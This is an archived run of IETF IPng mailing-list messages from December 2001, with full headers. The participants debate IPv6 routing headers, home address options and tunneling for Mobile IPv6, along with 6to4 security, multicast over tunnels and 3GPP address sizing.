new extension headers are needed, less change to base IPv6 implementations. > > So to get more clarity, is the localization (to the firewall) of > > controlling the use of routing header something that you find necessary? > > I honestly don't know. > Pekka brought up the issue - perhaps he can comment? > > The background for this was that allowing generic use of routing headers > is dangerous and is something that firewalls might block. > But I don't fully understand the severity of allowing general use of routing > headers - it does allow a DoS attacker to hide a bit since it could be > present at any previous hop in the routing header. > > > If so, would the use of "type 1" routing header in MIPv6 draft address > > the issue? > > Yes, but is this conceptually simpler than Deering/Zill tunneling? > Easier to implement? Slightly due to the already-known-semantics mentioned above. Also, if this tunneling is not quickly mandated into the standard to all nodes, there will be a big headache adapting it to legacy. > They seem to be about equivalent in these respects as far as I understand > today. This on my opinion requires a closer look. In format, yes, in all the implementation rules discussed here for the current RH/HAO, whether the same rules can be applied to the tunneling and keep the idea of genericity, I am not so sure. Other uses may have constraints conflicting with MIPv6. And finally, a silly question: if they do not have any difference, why can't RH/HAO as well be considered the generic approach usable also elsewhere? > Erik BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 19:12:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB3ChvU017566 for ; Mon, 10 Dec 2001 19:12:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB3ChTf017565 for ipng-dist; Mon, 10 Dec 2001 19:12:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB3CcvU017556 for ; Mon, 10 Dec 2001 19:12:38 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBB3CUq21725; Tue, 11 Dec 2001 04:12:30 +0100 (MET) Date: Tue, 11 Dec 2001 04:10:46 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: "Jari T. Malinen" Cc: Erik Nordmark , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <3C155F8A.825280CA@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > And finally, a silly question: if they do not have any difference, > why can't RH/HAO as well be considered the generic approach usable also > elsewhere? Deserves a silly answer. Yes, we should get IPsec to stop using IPv6-in-IPv6 tunneling and instead use RH/HAO, and we'll move RFC 2473 to historic :-) One of the disadvantages of working on a draft for 5-6 years is that the world might have changed around you. Assuming that the new world will take one step back, one to the side, and one step forward to use the new approach about to become a proposed standard when there already is a well-understood and deployed mechanism seems a bit odd to me. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 19:53:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB3r7vU018127 for ; Mon, 10 Dec 2001 19:53:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB3r7DS018126 for ipng-dist; Mon, 10 Dec 2001 19:53:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB3r4vU018119; Mon, 10 Dec 2001 19:53:04 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA29287; Mon, 10 Dec 2001 19:53:05 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA17652; Mon, 10 Dec 2001 20:53:00 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Mon, 10 Dec 2001 19:52:41 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 4BEB5665C5EE43BE9ADC99E7D2C61036 for plus 3 more; Mon, 10 Dec 2001 19:52:41 -0800 From: "Tony Hain" To: "Pekka Savola" Cc: "Sreeram Vankadari" , , Subject: RE: Directed broadcast in IPv6 Date: Mon, 10 Dec 2001 19:52:02 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: X-SLUIDL: 9E0580E7-E7874EBB-A33012D1-309F3601 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > However, there are potentially issues with transition mechanisms, > especially those using some form of automatic tunneling (which is one > reason why this, automatic bridging systems etc. may get to be a > headache). Automatic bridging systems are ha headache, and completely orthogonal to IPv6. > Suppose IPv4/6 router is also a 6to4 router for a subnet, so it must > accept IPv6-in-IPv4 packets from everywhere. This is not a requirement. > Suppose someone sends in a packet with: > > src=1.2.3.4 > dst= > protocol=41 > src6=fec0::1 (or 3ffe:ffff::1 or whatever) > dst6=ff05::1 (or ff02::1 or whatever) > ... > > With varying levels of different src6/dst6 values. > > It's possible that implementations use a "same-zone" check > with non-global > addresses, but this may or may not be the case. It was my belief that this was discussed in Dave Thaler's ID on multicast over 6to4. It appears that the document expired due to an oversight by the chairs... :( I just talked to Dave and he will resubmit. > This is especially nasty if hosts would listen to ff0e::1 (global > all-hosts) address (even though it would not be globally > routable); there > would not be such restrictions on same zone. According to 2373 your choice of multicast address is reserved to begin with, but why wouldn't that be routable? You appear to have a model for multicast over NBMA that assumes the lower layer is not global. I understand there may be a problem with scaling the number of tunnels, but this is not a protocol problem. > The issues with automatic tunneling are discussed a little bit in: > > http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4- security-00.txt (by the way, comments would be welcome ;-) Your discussion about a 6to4 host seems to be implementation specific, and there are implementations that do have the host aware of 6to4. Your discussion about what should not happen are already in RFC 3056 security issues. Your discussion of the disallowed addresses is in RFC 3056, specifically the point that RFC 1918 addresses are not valid. I have to go now, but the document seems to be based on some misunderstanding of the existing 6to4 RFC, and the existing address architecture RFC. If those are sufficiently unclear that several people this document is needed to help, we should either revisit the text in those, or move your document to a high priority work item to reduce the confusion. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 20:46:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB4kLvU019054 for ; Mon, 10 Dec 2001 20:46:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB4kL0V019053 for ipng-dist; Mon, 10 Dec 2001 20:46:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB4kIvU019046 for ; Mon, 10 Dec 2001 20:46:18 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA05608 for ; Mon, 10 Dec 2001 20:46:20 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA29082 for ; Mon, 10 Dec 2001 21:46:01 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBB4kCI08323; Tue, 11 Dec 2001 05:46:12 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id FAA25152; Tue, 11 Dec 2001 05:46:12 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBB4kAD20070; Tue, 11 Dec 2001 05:46:11 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112110446.fBB4kAD20070@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Mon, 10 Dec 2001 23:17:42 +0200. Date: Tue, 11 Dec 2001 05:46:10 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: Firewall cannot know this without keeping state, as discussed in my draft (and with you :-). => the state can be kept by the network access control system (which cannot be stateless). And stateful firewalls are strictly more powerful than stateless firewalls (this is not free of course). IMO, I greatly dislike stateful firewalls. They're one of the breakers of e2e. => I dislike all firewalls, but this problem is a threat against ingress filtering so an ingress filtering solution is better. I don't think we should require stateful firewalls for this. => I am afraid that if we ignore the problem the result will be the filtering of all packets with more than two addresses as it is the case for IPv4: we have to do a compromise... Regards Francis.Dupont@enst-bretagne.fr PS: ingress filtering is not require, this is only a BCP. There is no reason to be stricter. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 22:11:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB6BJvU019421 for ; Mon, 10 Dec 2001 22:11:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB6BJYj019420 for ipng-dist; Mon, 10 Dec 2001 22:11:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB6BGvU019413 for ; Mon, 10 Dec 2001 22:11:16 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA01683; Mon, 10 Dec 2001 22:11:19 -0800 (PST) Received: from rajma.kniveton.com (adsl-63-197-0-77.dsl.snfc21.pacbell.net [63.197.0.77]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA13882; Mon, 10 Dec 2001 22:11:18 -0800 (PST) Received: from Kniveton.com (219-198-131-12.bellhead.com [12.131.198.219]) by rajma.kniveton.com (8.11.1/8.11.1) with ESMTP id fBB6BGn00799; Mon, 10 Dec 2001 22:11:16 -0800 (PST) Message-ID: <3C15A2C9.79B3969B@Kniveton.com> Date: Mon, 10 Dec 2001 22:08:09 -0800 From: "T.J. Kniveton" Organization: Nokia Research Center X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.4-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Erik Nordmark CC: "Jari T. Malinen" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Erik Nordmark wrote: > > > And finally, a silly question: if they do not have any difference, > > why can't RH/HAO as well be considered the generic approach usable also > > elsewhere? > > Deserves a silly answer. > Yes, we should get IPsec to stop using IPv6-in-IPv6 tunneling > and instead use RH/HAO, and we'll move RFC 2473 to historic :-) > > One of the disadvantages of working on a draft for 5-6 years is that > the world might have changed around you. > Assuming that the new world will take one step back, one to the side, > and one step forward to use the new approach about to become a proposed > standard when there already is a well-understood and deployed mechanism > seems a bit odd to me. Well I have had an awful time trying to reply to this due to weirdness with my wireless connection and sendmail, but let me paraphrase myself and try sending again; maybe the 10th time is a charm... I am not sure how silly your answer is supposed to be, but I am stuck on thinking about how we should interact with a changed world in this case. There is some conversation about replacing HAO with a nascent proposal which is based upon using tunelling, which you said is about to become a proposed standard. This means that the solution might "make sense" in this changed world -- but one could come up with another alternative based on other standards, it is just a matter of the lingua franca used to describe mechanisms to achieve the same goal. The questions, as I understand them, are really (a) is HAO broken enough that we need to remove and/or replace it? and if so, (b) is the tuneling proposal a suitable replacement? There seems to be some disagreement about (a), but even assuming (a) for the sake of argument.. people have so far refuted the relative advantages of (b), other than the one in your answer: because it is based on a proposed standard. It seems the security and anonymity advantages are in question. At least insofar as the proposal might relate to work in the Mobile IP group. There are many examples of protocols that exist in today's changed world, and still do just fine. The discussions about Mobile IPv6 have certainly included considerations about what has changed in the last 5 years. But they are based on technical merits as well -- in my own opinion, there doesn't seem to be anything that's come along that has a clear superiority *and* serves the same purpose of the HAO, so it is just as legitimate now as it was 5 years ago (hence you know where I stand on (a)). Well maybe you can tell me now how serious your answer was. And if I am still trying to figure it out, perhaps the joke is on me... -TJ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 00:50:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB8odvU020151 for ; Tue, 11 Dec 2001 00:50:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBB8odeN020150 for ipng-dist; Tue, 11 Dec 2001 00:50:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBB8oavU020143 for ; Tue, 11 Dec 2001 00:50:36 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA18566 for ; Tue, 11 Dec 2001 00:50:36 -0800 (PST) From: Laurent.Thiebaut@alcatel.fr Received: from aifhs8.alcatel.fr (aifhs8.alcatel.fr [212.208.74.153]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA02225 for ; Tue, 11 Dec 2001 01:50:17 -0700 (MST) Received: from frmta004.netfr.alcatel.fr (frmta004.netfr.alcatel.fr [155.132.182.160]) by aifhs8.alcatel.fr (ALCANET/SMTP2) with SMTP id JAA26403; Tue, 11 Dec 2001 09:50:33 +0100 (MET) Received: by frmta004.netfr.alcatel.fr(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id C1256B1F.0030846B ; Tue, 11 Dec 2001 09:49:56 +0100 X-Lotus-FromDomain: ALCATEL To: Brian E Carpenter cc: ipng@sunroof.eng.sun.com Message-ID: Date: Tue, 11 Dec 2001 09:48:35 +0100 Subject: Re: Feedback from 3GPP about draft-wasserman Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Considering that - a mobile operator may have up to 15-20 M subscribers (e.g. in Medium size country such as European countries) ... or.. 35M subscribers or more (considering bigger countries as...China) - each user attached to IMS (3gpp sip services) has got an IPV6 @ - although Not 100% of the users have simultaneously switched on their mobile, we have to take some busy hour worst case you may end-up with 20-30M or more IPV6 @ per on the APN used by mobiles to reach IMS services of the operator As - the number of GGSN has to be limited to something reasonable (that obviously is related to technology capability) - we have to consider an addressing scheme that copes with foreseenable technological improvements on the GGSN capabilities a rough estimate of the number of IPV6 @ a GGSN should handle on this APN should be between 500K and 1M. Best regards Laurent T. --------------------------------------------------------------------------- V Laurent Thiebaut tel: +33 (0)1 3077 0645 A L C A T E L e.mail:laurent.thiebaut@alcatel.fr --------------------------------------------------------------------------- Brian E Carpenter on 10/12/2001 19:47:17 To: Juan-Antonio Ibanez cc: ipng@sunroof.eng.sun.com(bcc: Laurent THIEBAUT/FR/ALCATEL) Subject: Re: Feedback from 3GPP about draft-wasserman Juan-Antonio Ibanez wrote: ... > 2) Would the /64 prefix allocation preclude the use of the 6to4 > transition mechanism in 3GPP? > 6to4 relies on a /48 prefix, meaning that only 64k mobile nodes (or > rather "primary" PDP contexts) would be allowed on a given APN that > supports 6to4. Are you assuming that the APN has exactly one globally routable IPv4 address? If so, it can only own one 6to4 /48 prefix, i.e. 64k /64s as you say. But if the APN has 2 IPv4 addresses, it can have two 6to4 prefixes, etc. What is the realistic requirement for the number of primary PDP contexts per APN? Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 02:12:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBACovU020397 for ; Tue, 11 Dec 2001 02:12:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBACoh4020396 for ipng-dist; Tue, 11 Dec 2001 02:12:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBAClvU020389 for ; Tue, 11 Dec 2001 02:12:47 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA25869 for ; Tue, 11 Dec 2001 02:12:48 -0800 (PST) Received: from iabgfw.iabg.de (iabgfw.iabg.de [194.139.245.2]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA21770 for ; Tue, 11 Dec 2001 03:12:43 -0700 (MST) Received: by iabgfw.iabg.de; id LAA06543; Tue, 11 Dec 2001 11:12:42 +0100 (MET) Received: from unknown(10.255.255.2) by iabgfw.iabg.de via smap (V5.5) id xma006517; Tue, 11 Dec 01 11:12:16 +0100 Received: from iabgvw.iabg.de ([10.255.255.8]) by iabgmh.iabg.de (Post.Office MTA v3.5.1 release 219 ID# 127-59214U1600L300S0V35) with ESMTP id de; Tue, 11 Dec 2001 11:12:13 +0100 Received: from iabgdns.iabg.de (localhost [127.0.0.1]) by iabgvw.iabg.de (8.8.8+Sun/8.8.8) with ESMTP id LAA01671; Tue, 11 Dec 2001 11:12:12 +0100 (MET) Received: from iabg.de (cc31pc12.iabg.de [10.3.0.20]) by iabgdns.iabg.de (8.8.8+Sun/8.8.8) with ESMTP id LAA17812; Tue, 11 Dec 2001 11:12:12 +0100 (MET) Message-ID: <3C15DBFC.D71AC623@iabg.de> Date: Tue, 11 Dec 2001 11:12:12 +0100 From: Gerhard Gessler X-Mailer: Mozilla 4.75 [de]C-CCK-MCD DT (WinNT; U) X-Accept-Language: de MIME-Version: 1.0 To: Thomas Heinis CC: ipng@sunroof.eng.sun.com Subject: Re: ip6_build_xmit References: <3C15354F.4B161034@iiic.ethz.ch> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thomas Heinis schrieb: > > Hi all, > I am not quite sure, it might be off topic. Please forgive me if it is, > but how can I use ip6_build_xmit to send an ICMPv6 packet? I have been > trying several things by now, I have been looking through the whole > code, but did not succeed ind sending this packet! How can I do this? > Has anyone experience? > > Thanks, > > Thomas Hi Thomas, netdev@oss.sgi.com is a better place to ask this kind of question. But if you ask there, you will need to supply more information about you want to do. Hope this helps, Gerhard -- --------------------------------------------------- Gerhard Geßler Communication Networks, IABG mbH Einsteinstr. 20 85521 Ottobrunn, Germany Telefon: +49 89 6088 - 2021 Fax: +49 89 6088 - 2845 E-Mail: gessler@iabg.de -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 06:24:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBEOkvU020721 for ; Tue, 11 Dec 2001 06:24:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBEOkdQ020720 for ipng-dist; Tue, 11 Dec 2001 06:24:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBEOgvU020713 for ; Tue, 11 Dec 2001 06:24:43 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA13387 for ; Tue, 11 Dec 2001 06:24:44 -0800 (PST) Received: from ns0.fh-sbg.ac.at (ns01.fh-sbg.ac.at [193.170.110.16]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA19503 for ; Tue, 11 Dec 2001 07:25:18 -0700 (MST) Received: from mx0.int.fh-sbg.ac.at (mx0.fh-sbg.ac.at [193.170.110.3]) by ns0.fh-sbg.ac.at (8.11.3/8.11.3) with ESMTP id fBBEDRY15834 for ; Tue, 11 Dec 2001 15:13:27 +0100 (CET) Received: from fh-sbg.ac.at (schamane.int.fh-sbg.ac.at [192.168.2.171]) by mx0.int.fh-sbg.ac.at (8.9.3/8.9.3) with ESMTP id PAA16649 for ; Tue, 11 Dec 2001 15:24:09 +0100 (MET) Message-ID: <3C161709.1020809@fh-sbg.ac.at> Date: Tue, 11 Dec 2001 15:24:09 +0100 From: Werner Pomwenger User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 X-Accept-Language: en-us MIME-Version: 1.0 To: "'ipng@sunroof.eng.sun.com.'" Subject: nortel & ipv6 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk has anybody an idea if nortel's latest BayRS release supports MobileIPv6 as a service. i couldn't find any information about that. cheers & thanks for comments, werny -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 07:36:30 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFaUvU020874 for ; Tue, 11 Dec 2001 07:36:30 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBFaUbZ020873 for ipng-dist; Tue, 11 Dec 2001 07:36:30 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFaOvU020858; Tue, 11 Dec 2001 07:36:24 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA16355; Tue, 11 Dec 2001 07:36:24 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA03929; Tue, 11 Dec 2001 07:36:22 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBFZxk08593; Tue, 11 Dec 2001 17:36:07 +0200 Date: Tue, 11 Dec 2001 17:35:58 +0200 (EET) From: Pekka Savola To: Tony Hain cc: Sreeram Vankadari , , Subject: RE: Directed broadcast in IPv6 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Mon, 10 Dec 2001, Tony Hain wrote: > > This is especially nasty if hosts would listen to ff0e::1 (global > > all-hosts) address (even though it would not be globally > > routable); there > > would not be such restrictions on same zone. > > According to 2373 your choice of multicast address is reserved to begin > with, but why wouldn't that be routable? You appear to have a model for > multicast over NBMA that assumes the lower layer is not global. I > understand there may be a problem with scaling the number of tunnels, > but this is not a protocol problem. New addrarch draft says ff0e::/16 is global-scope. I took this as an example of delivering packets to an IPv6 node when it might not be possible to do so directly (example: link-local addresses). > > The issues with automatic tunneling are discussed a little bit in: > > > > http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4- > security-00.txt > > (by the way, comments would be welcome ;-) > > Your discussion about a 6to4 host seems to be implementation specific, > and there are implementations that do have the host aware of 6to4. Why would a host have any reason to be 6to4 aware? I sure would like to know more of this. AFAICS that implementation wouldn't be honouring RFC 3056 definition of 6to4 host: an IPv6 host which happens to have at least one 6to4 address. In all other respects it is a standard IPv6 host. > Your discussion about what should not happen are already in RFC 3056 > security issues. Some are, some aren't. But the main point was, that RFC 3056 rules were a little abstract (and as a matter of fact, wrong in one sentence), so that they were basically unimplementable and rather non-understandable. This is noted in the introduction. > Your discussion of the disallowed addresses is in RFC 3056, specifically > the point that RFC 1918 addresses are not valid. Private addresses are just one, problem, there just for completeness. > I have to go now, but the document seems to be based on some > misunderstanding of the existing 6to4 RFC, and the existing address > architecture RFC. If those are sufficiently unclear that several people > this document is needed to help, we should either revisit the text in > those, or move your document to a high priority work item to reduce the > confusion. I fail to see what misunderstandings those would be. Only issue I can come up with (for some portions) is how implementations inject packets from tunneling to the IPv6 stack. That is, can we assume that "same-zone" forwarding applies. That is, site-local and link-locals would not be a problem with tunneling. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 07:52:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBFqWvU021059 for ; Tue, 11 Dec 2001 07:52:32 -0800 (PST) Received: (from majordomo@localhost) by 